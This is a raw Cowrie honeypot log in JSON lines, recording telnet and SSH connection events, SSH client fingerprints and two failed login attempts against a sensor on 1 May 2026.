{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58032,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f9866d8d2f0","protocol":"telnet","message":"New connection: 209.159.146.115:58032 (159.203.135.109:23) [session: 6f9866d8d2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:42.448060Z"}
{"eventid":"cowrie.session.closed","duration":30.92426347732544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:43.120050Z","src_ip":"57.128.88.161","session":"0d1a687a658f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54914,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce95747d8bf6","protocol":"telnet","message":"New connection: 57.128.88.161:54914 (159.203.135.109:23) [session: ce95747d8bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:43.198091Z"}
{"eventid":"cowrie.session.closed","duration":30.510467052459717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:43.203447Z","src_ip":"209.159.146.115","session":"5cf0d681b4e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54924,"dst_ip":"159.203.135.109","dst_port":23,"session":"7139933ddf8d","protocol":"telnet","message":"New connection: 57.128.88.161:54924 (159.203.135.109:23) [session: 7139933ddf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:43.486776Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34242,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b95ea6cc93","protocol":"telnet","message":"New connection: 209.159.146.115:34242 (159.203.135.109:23) [session: d3b95ea6cc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:43.708326Z"}
{"eventid":"cowrie.session.closed","duration":31.19695019721985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:44.213602Z","src_ip":"57.128.88.161","session":"b1667e80c2ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54932,"dst_ip":"159.203.135.109","dst_port":23,"session":"546d93933237","protocol":"telnet","message":"New connection: 57.128.88.161:54932 (159.203.135.109:23) [session: 546d93933237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:44.455312Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54944,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca80d1f90ae7","protocol":"telnet","message":"New connection: 57.128.88.161:54944 (159.203.135.109:23) [session: ca80d1f90ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:44.520054Z"}
{"eventid":"cowrie.session.closed","duration":34.19978094100952,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:44.545193Z","src_ip":"209.159.146.115","session":"d9d7555a397d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":58782,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbfa38dda599","protocol":"ssh","message":"New connection: 186.13.24.118:58782 (159.203.135.109:22) [session: fbfa38dda599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.053630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.059199Z","src_ip":"186.13.24.118","session":"fbfa38dda599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.561392307281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.121158Z","src_ip":"57.128.88.161","session":"b08f932212af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839540243148804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.202194Z","src_ip":"57.128.88.161","session":"15818f43e701","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.219356Z","src_ip":"186.13.24.118","session":"fbfa38dda599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdfacff78bdc","protocol":"telnet","message":"New connection: 57.128.88.161:54952 (159.203.135.109:23) [session: bdfacff78bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.428988Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54964,"dst_ip":"159.203.135.109","dst_port":23,"session":"37442606951c","protocol":"telnet","message":"New connection: 57.128.88.161:54964 (159.203.135.109:23) [session: 37442606951c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.452168Z"}
{"eventid":"cowrie.session.closed","duration":40.20435357093811,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.561009Z","src_ip":"209.159.146.115","session":"1d4fbcd345bf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"mysql","message":"login attempt [postgres/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:45.872301Z","src_ip":"186.13.24.118","session":"fbfa38dda599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54974,"dst_ip":"159.203.135.109","dst_port":23,"session":"416fe0c0bf1f","protocol":"telnet","message":"New connection: 57.128.88.161:54974 (159.203.135.109:23) [session: 416fe0c0bf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:46.045751Z"}
{"eventid":"cowrie.session.closed","duration":30.845107078552246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:46.068469Z","src_ip":"57.128.88.161","session":"76cbfc63ebff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8562433719635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:46.170138Z","src_ip":"57.128.88.161","session":"2e97de9991e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54978,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1f3ca795eb8","protocol":"telnet","message":"New connection: 57.128.88.161:54978 (159.203.135.109:23) [session: b1f3ca795eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:46.415146Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:47.030967Z","src_ip":"186.13.24.118","session":"fbfa38dda599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54992,"dst_ip":"159.203.135.109","dst_port":23,"session":"29e22c90769b","protocol":"telnet","message":"New connection: 57.128.88.161:54992 (159.203.135.109:23) [session: 29e22c90769b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:47.827801Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50772,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6534c6d31e8","protocol":"telnet","message":"New connection: 209.159.146.115:50772 (159.203.135.109:23) [session: c6534c6d31e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:47.853122Z"}
{"eventid":"cowrie.session.closed","duration":30.678921461105347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:48.271884Z","src_ip":"209.159.146.115","session":"7080c59b2e48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38483190536499,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:48.768915Z","src_ip":"209.159.146.115","session":"a59cda759efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78001308441162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:49.043989Z","src_ip":"57.128.88.161","session":"1694b87212dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931328058242798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:49.227837Z","src_ip":"57.128.88.161","session":"5edb83fb071b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169315338134766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:49.333509Z","src_ip":"57.128.88.161","session":"2dcef6c49a50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1394631602f","protocol":"telnet","message":"New connection: 209.159.146.115:54748 (159.203.135.109:23) [session: a1394631602f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:49.492903Z"}
{"eventid":"cowrie.session.closed","duration":32.901816844940186,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:49.814357Z","src_ip":"209.159.146.115","session":"24b5abccfafa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59976,"dst_ip":"159.203.135.109","dst_port":23,"session":"799244c0628c","protocol":"telnet","message":"New connection: 209.159.146.115:59976 (159.203.135.109:23) [session: 799244c0628c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:50.020042Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55008,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a0b589db73e","protocol":"telnet","message":"New connection: 57.128.88.161:55008 (159.203.135.109:23) [session: 5a0b589db73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:50.710110Z"}
{"eventid":"cowrie.session.closed","duration":30.64333724975586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:51.073890Z","src_ip":"57.128.88.161","session":"a652222a66d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7558171749115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:51.084789Z","src_ip":"57.128.88.161","session":"832e603345e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.195728540420532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:51.138297Z","src_ip":"57.128.88.161","session":"cc0e56f98a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.82063579559326,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:51.333662Z","src_ip":"209.159.146.115","session":"32bf66e3ff2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72627282142639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:51.534015Z","src_ip":"57.128.88.161","session":"89a51c1aa5ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56151580810547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:51.546853Z","src_ip":"57.128.88.161","session":"ac920e8fe555","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36812,"dst_ip":"159.203.135.109","dst_port":23,"session":"54d901593968","protocol":"telnet","message":"New connection: 57.128.88.161:36812 (159.203.135.109:23) [session: 54d901593968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:51.713449Z"}
{"eventid":"cowrie.session.closed","duration":32.99253249168396,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:52.240672Z","src_ip":"209.159.146.115","session":"61425f63e29d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11504888534546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:52.268805Z","src_ip":"209.159.146.115","session":"0f466217b297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42126,"dst_ip":"159.203.135.109","dst_port":23,"session":"32c09ee0ae97","protocol":"telnet","message":"New connection: 209.159.146.115:42126 (159.203.135.109:23) [session: 32c09ee0ae97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:52.791211Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43422,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4292598aa84","protocol":"telnet","message":"New connection: 209.159.146.115:43422 (159.203.135.109:23) [session: e4292598aa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:53.084607Z"}
{"eventid":"cowrie.session.closed","duration":30.564606428146362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:53.167725Z","src_ip":"57.128.88.161","session":"1806bb979975","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44962,"dst_ip":"159.203.135.109","dst_port":23,"session":"9068524b8087","protocol":"telnet","message":"New connection: 209.159.146.115:44962 (159.203.135.109:23) [session: 9068524b8087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:53.576185Z"}
{"eventid":"cowrie.session.closed","duration":31.19172191619873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:53.630011Z","src_ip":"57.128.88.161","session":"358bba2a76b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46316,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d1395a3e44e","protocol":"telnet","message":"New connection: 209.159.146.115:46316 (159.203.135.109:23) [session: 8d1395a3e44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:53.896460Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36828,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac582e11df8","protocol":"telnet","message":"New connection: 57.128.88.161:36828 (159.203.135.109:23) [session: 7ac582e11df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:54.139924Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36830,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b0a8a3162c3","protocol":"telnet","message":"New connection: 57.128.88.161:36830 (159.203.135.109:23) [session: 8b0a8a3162c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:54.447202Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43740,"dst_ip":"159.203.135.109","dst_port":22,"session":"93123e0e65f4","protocol":"ssh","message":"New connection: 159.203.92.129:43740 (159.203.135.109:22) [session: 93123e0e65f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:55.062687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:55.067144Z","src_ip":"159.203.92.129","session":"93123e0e65f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:55.071253Z","src_ip":"159.203.92.129","session":"93123e0e65f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"1","message":"login attempt [angel/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:55.082050Z","src_ip":"159.203.92.129","session":"93123e0e65f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.579702377319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:55.127394Z","src_ip":"57.128.88.161","session":"138b645c0c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.088430Z","src_ip":"159.203.92.129","session":"93123e0e65f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36834,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbbd8d4d3c79","protocol":"telnet","message":"New connection: 57.128.88.161:36834 (159.203.135.109:23) [session: bbbd8d4d3c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.094417Z"}
{"eventid":"cowrie.session.closed","duration":31.112416744232178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.101404Z","src_ip":"57.128.88.161","session":"0a33ff00923f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56582,"dst_ip":"159.203.135.109","dst_port":23,"session":"6269b0937630","protocol":"telnet","message":"New connection: 209.159.146.115:56582 (159.203.135.109:23) [session: 6269b0937630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.105583Z"}
{"eventid":"cowrie.session.closed","duration":30.92552614212036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.219922Z","src_ip":"57.128.88.161","session":"e891e19d4b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57062,"dst_ip":"159.203.135.109","dst_port":23,"session":"350fbb87ba2e","protocol":"telnet","message":"New connection: 209.159.146.115:57062 (159.203.135.109:23) [session: 350fbb87ba2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.432684Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57738,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd8ba108121d","protocol":"telnet","message":"New connection: 209.159.146.115:57738 (159.203.135.109:23) [session: cd8ba108121d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.766980Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36836,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a1955c2710a","protocol":"telnet","message":"New connection: 57.128.88.161:36836 (159.203.135.109:23) [session: 8a1955c2710a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:56.794164Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":36840,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd5fd42be4d1","protocol":"telnet","message":"New connection: 57.128.88.161:36840 (159.203.135.109:23) [session: fd5fd42be4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:57.127004Z"}
{"eventid":"cowrie.session.closed","duration":30.664498805999756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:57.131139Z","src_ip":"57.128.88.161","session":"ffc1a0bb5af8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59126,"dst_ip":"159.203.135.109","dst_port":23,"session":"87272ae766d7","protocol":"telnet","message":"New connection: 209.159.146.115:59126 (159.203.135.109:23) [session: 87272ae766d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:57.293286Z"}
{"eventid":"cowrie.session.closed","duration":34.63618040084839,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:57.497437Z","src_ip":"209.159.146.115","session":"59a9363eccdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07622241973877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:57.760662Z","src_ip":"57.128.88.161","session":"59de8a4d4075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81388807296753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:58.106613Z","src_ip":"57.128.88.161","session":"cbc9c5b532e2","protocol":"telnet"}
